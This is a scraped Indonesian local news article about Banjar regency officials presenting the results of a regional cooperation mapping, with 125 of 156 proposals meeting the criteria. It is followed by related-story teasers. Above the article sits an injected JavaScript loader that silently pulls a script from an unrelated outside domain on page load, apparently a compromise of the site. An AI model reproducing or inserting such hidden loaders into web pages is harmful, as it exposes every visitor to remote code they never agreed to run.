(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA – Staf Ahli Bidang Pemerintahan dan Hukum Kencana Wati didampingi Kabag Tata Pemerintahan Setda Banjar Agus Hidayat membuka pemaparan hasil pemetaan kerja sama daerah, di Aula Barakat Martapura, Kamis (8/8/2024) pagi.
Kegiatan yang digelar melalui Bagian Pemerintahan Setda Banjar itu menghadirkan narasumber R Himawan Prasetyo Wahyu Nugroho dari Lembaga Pembangunan Strategi Berkelanjutan Yogyakarta.
Staf Ahli Bidang Pemerintahan dan Hukum Kencana Wati menjelaskan, dari hasil diskusi tersebut akan diidentifikasi kerja sama apa saja yang diperlukan serta diharapkan mampu menunjukkan kerangka acuan terkait gambaran dan target yang jelas. Sehingga seluruh pemangku kepentingan dapat menangkap potensi kerjasama tersebut.
Baca juga: Pemkab HSU Tambah 3 Unit Excavator Ampibi, Pengelolaan Lahan Rawa dan Mitigasi Banjir
Kencana Wati menyebut usulan kerjasama daerah yang dipetakan berjumlah 156 dan 125 diantaranya masuk kriteria.
“Dari 156 usulan kerjasama daerah yang dipetakan, ada 125 usulan yang kami anggap masuk kriteria, sehingga nantinya dibahas pada rapat pleno untuk dapat menghasilkan usulan yang sesuai dengan visi misi Bupati Banjar dan selaras dengan pembangunan daerah,” ungkap dia.
Sementara itu Narasumber R Himawan Prasetyo Wahyu Nugroho menerangkan, ada beberapa temuan selama proses FGD, diantaranya kurangnya koordinasi internal SKPD dalam melakukan pemetaan potensi kerjasama pada tiap bidang.
Baca juga: Lengkapi Andalalin, Hotel Aeris Tambah Area Parkir Baru
Selain itu, lanjut dia, belum semua Person In Charge (PIC) memahami konsep kerjasama daerah. PIC yang hadir tidak mewakili bidang kerja sehingga usulan yang disampaikan kurang maksimal.
“Sehingga saya merekomendasikan perlu adanya FGD dengan mendatangkan narasumber dan calon mitra potensial untuk memperkaya inisiasi kerjasama daerah serta perlu disusun Standar Operasional Prosedur (SOP) sebagai dasar dan panduan penyiapan dokumen,” tutup dia. (kanalkalimantan.com/dkispbanjar/kk)
Reporter: kk
Editor: Dhani
KANALKALIMANTAN.COM, BANJARBARU - Proses Penggantian Antar Waktu (PAW) Komisioner KPU Banjarbaru masih berjalan, meski tahapan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Menyemarakan penandaan Haru Ulang Tahun (HUT), Rumah Sakit Daerah Idaman (RSDI) menggelar… Read More
KANALKALIMANTAN.COM, AMUNTAI - Sebanyak 2.069 pelajar Sekolah Dasar (SD) se Kabupaten Hulu Sungai Utara (HSU)… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dua unit mobil hilang saat terparkir di kampus Universitas Lambung Mangkurat (ULM)… Read More
KANALKALIMANTAN.COM, BANJARBARU - Lebih sepekan sudah pasca Operasi Tangkap Tangan (OTT) Komisi Pemberantasan Korupsi (KPK)… Read More
KANALKALIMANTAN.COM, MARTAPURA - Masyarakat Karangintan menyatakan dukungannya terhadap pasangan calon bupati dan wakil bupati Banjar… Read More
This website uses cookies.